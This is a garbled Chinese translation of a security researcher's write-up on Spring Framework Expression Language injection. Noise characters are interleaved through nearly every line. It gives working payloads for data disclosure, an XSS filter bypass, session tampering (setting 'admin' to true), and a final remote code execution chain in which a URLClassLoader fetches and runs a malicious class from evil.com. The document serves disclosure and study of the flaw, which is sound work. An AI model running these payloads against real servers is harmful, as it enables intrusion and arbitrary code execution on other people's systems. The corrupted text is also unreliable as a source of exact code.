Remote Code with F9 M6 Y8 N5 c2 d
Expression Language Injection, h( w/ h. }* t( G
Spring Framework脆弱性—DanAmodio7 i% c0 v B( h* p
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中! |, a6 x( ?8 H6 L0 Q$ v
可能会存在风险。* V$ f7 J ~6 k
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的9 X8 x3 M8 ^7 v: G( V6 x
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可, A0 d9 b+ ~/ \7 ]% ?4 k( H, }
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
3 ~- Z4 _2 [. m2 @5 M# A2 I0 R- c以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
- }/ Y6 `) V5 o7 n: S: J3 D- u版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。: Q! Y4 i, i1 g% p, Q7 z- G
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但* V( E8 n; }" R) K
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版4 X+ D! D8 n. v' p3 A7 I9 G" A
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。9 U" H( z! v$ }3 `
这些版本不支持禁用double EL resolution." Q! {* ?: T8 z0 e$ i! T
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
1 d' N4 A# L8 c B8 Z6 r# f3 ?EL2.2容器上可能进行远程代码执行。1 C8 W) i+ ^# O
这是一个原始信息泄露的攻击例子:9 ]* Y/ M+ o/ G
请求:" L& S5 f* P4 @# `* X( J2 P
ttp://vulnerable.com/foo?message=${applicationScope}
+ {# |# V4 N" X到达以下内容页面:
2 N, s) V3 y/ p1 s8 N结果将输出一些包含内部服务器信息calsspath 和本地工作目录. h. R0 u0 v& e
你也可以做一些其他事情,如这样:
, e+ _4 x& W% b, a. H${9999+1}
. h, m2 V+ ^4 x( h5 d3 D还可以访问session 对象和beans7 a$ }& z9 L6 u8 @
${employee.lastName}$ P' r- U0 U3 s- b- N; U
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
+ |; P4 m9 v9 y% m' N* c+ t! m. PEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
5 B( e! K; ~; i9 N; }西,比如XSS.
* @- G2 K0 M8 [哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
; Q+ ^1 m7 j1 N4 n突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤: N e* l; a2 r% p# Y& Z; x' l$ d0 F
呢?”
+ x, Z( ~) u% ?! A4 K" `5 A3 o, \因此,我尝试巳缦拢�- h3 Q9 K$ [4 n) p- ?7 g
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
* G% p4 o: L. C# M1 k! ]P7 G8 K: m8 F4 D# u# x [3 `+ d6 w: J
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
+ h; _( R2 I% x6 {$ Z( h/ G- k R5 G回的文本被插入进了spring:message 标签。
; t# v5 O2 O! {7 N: `/ t# i- L这里是一个最终绕过过滤的实例:
/ V9 N3 B" ^# O; K9 Rhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
0 h8 i6 f' `, a4 |# P( d它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为- I* S- }" D( B& T- B/ i( [* O
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
6 X! K4 \" i; h: Y. b8 H' L经过一番研究,我学习到EL2.2 增加了方法调用。
% e- C6 X0 r% }2 p7 W D! x我写了一个快速测试应用程序代码并且检测一些功能
7 ?$ x* L* r$ D! j2 g${pageContext.request.getSession().setAttribute(“account”,”123456″)}. o! _, X0 G h! d- n# ?4 }
${pageContext.request.getSession().setAttribute(“admin”,true)}
8 a N; n- w8 c! U# b$ F好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的2 B0 p" \. R8 [
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
6 z; p1 f! F, D$ s5 W1 _, w${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
; S k8 T% }' m% A0 ^2 L“, 1234)}
4 n6 s) O0 e' _; x/ y- D' @${“”.getClass().forName(“java.lang.Runtime”)}0 V+ M+ _: E' F$ G
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
1 O4 f8 t0 O: L5 Z2 y+ q7 A可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函: p% T) j3 B$ f# ]( `" }
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有0 i9 u2 X1 C( Q# f# e0 n* v
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于+ i6 j& z& ]4 x% ?
方法签名invoke(Object obj, Object„ args)
( u$ |0 g$ B! N. @, e6 sJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问7 U2 ~- z u; R8 {' L$ {& z, L
题,以让它可以工作起来。
8 q# o- `- R3 i& d# K% k$ o. S3 }漏洞利用:3 ^* B% U( p5 C
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我* [' u% u! T! S& e
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
5 }6 {9 o; t$ Y' @( u这里有一些我试过的失败的用例,为了试图让它工作的用例:8 z$ ^4 `/ O: S8 w: v! b
写文件到文件系统
8 {0 j, e' H) e5 n- E3 U! j" ], W 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.( v& |5 L* t8 F, }' d; Z" `
我认为这些可以很好的工作,但是我不能找到合适的类来载入。. Q/ C# q2 r9 `" p8 Y
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
( a o# r5 z3 H4 H' S& _5 c( }" X8 jjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
7 h# ^; r. V% C% T! v t& i; ~org.springframework.expression.spel.standard.SpelExpressionParser not found
' ~! q! E2 E9 yby
! Z; j1 f( J! G" O- X( I6 worg.glassfish.web.javax.servlet.jsp [194].
% F) M2 L( l7 w- \0 I1 ~0 h! | 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public% ^0 j7 Z) p. }& l% R& R7 ^2 K- l: W
利用反射来创建一个新的Runtime(and watch the world burn)% ?: B, s4 J$ ?3 g. t7 o/ h; _. Q$ K
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName! z: v- e/ _, ?$ W9 ^: w5 @; `, h
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
: Q5 M& ^+ w6 p8 v${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
" u- i# m. S6 U 使用java.lang.ProcessBuilder: `8 F a$ A! E
用表达式语言来评估表达式语言0 l% H9 n: `2 _8 k
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.% _- x- Y3 x/ M) k
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request6 d1 p4 u3 d- A$ A
“,”".getClass(),null)}2 R2 `/ m% W" Q
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
$ m; g, |# {) u. J( i& [我在使用一个空数组通过Method.invoke()时失败了很多次
/ a; k9 q# J, q$ S% Y$ }/ ]1 N. v7 ~- U“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo+ M/ w; [6 `% V8 P
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
+ d0 z) J' O! g1 i$ Z' \6 zrrayList”).newInstance().toArray())6 q9 \) ^3 A0 w, a" H
java.lang.IllegalArgumentException: wrong number of arguments, D' v6 p; K! y" Z0 |$ R3 e$ ~
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
) k9 }& l0 w4 k }以创建一个恶意class文件并且指向类装载器.6 e, o0 ?1 z7 w
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
: W! W+ i5 Y: L# g( \! M3 ?public class Malicious {
' m$ h8 B, S2 [% W) x. K) b3 P3 ^public Malicious() {7 Q6 S( s" }& x1 I% n
try {
0 R3 o' i) ^4 {java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
5 D9 u. k' y% ~* ~) y: J+ c: L+ ljava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win) r+ R$ i2 d, j$ y) Y
} catch (Exception e) {
& {* O% L4 `! |: t4 ]( F3 f}
5 |0 r$ I6 e: e, A}
; S% e. p5 h; R我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回9 [/ a; d2 J% d* O. }$ o5 o' l
话中,因此它可以被使用.* R" z/ M% m: X4 C0 {0 f# Z" `3 H
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName2 u. I& J; N5 L" g9 ?! P! }
(“java.util.ArrayList”).newInstance())}
_8 \0 Y' {0 R; F) u# x JURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建) `5 J/ J9 i' z" a9 A, o; \
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
# q2 y) u: I# s j t6 JgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
( G" l) b) I( `: R- n6 ?+ I. d我们可以调用的create(string)方法,然后转换对一个URL对象。0 e$ J+ x6 D8 n7 s6 C
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh2 W- j5 l7 a( _0 g+ G. {3 r9 j0 W
ere/malicious/classfile/is/located/”).toURL())}. C \& `7 h, H ^& f; p
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,, Y* E* M: D. m; }* Q8 T) l: Y
恶意类文件被装载并创建,触发远程代码.
/ Y$ o# @6 {/ e. n% c# ^# A${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
2 o! p, U% v) D+ R" p# _& _0 _8 Uxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().3 f+ v5 x3 P- ^
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
1 i8 q1 }- _7 j ?$ c# t0 e()} |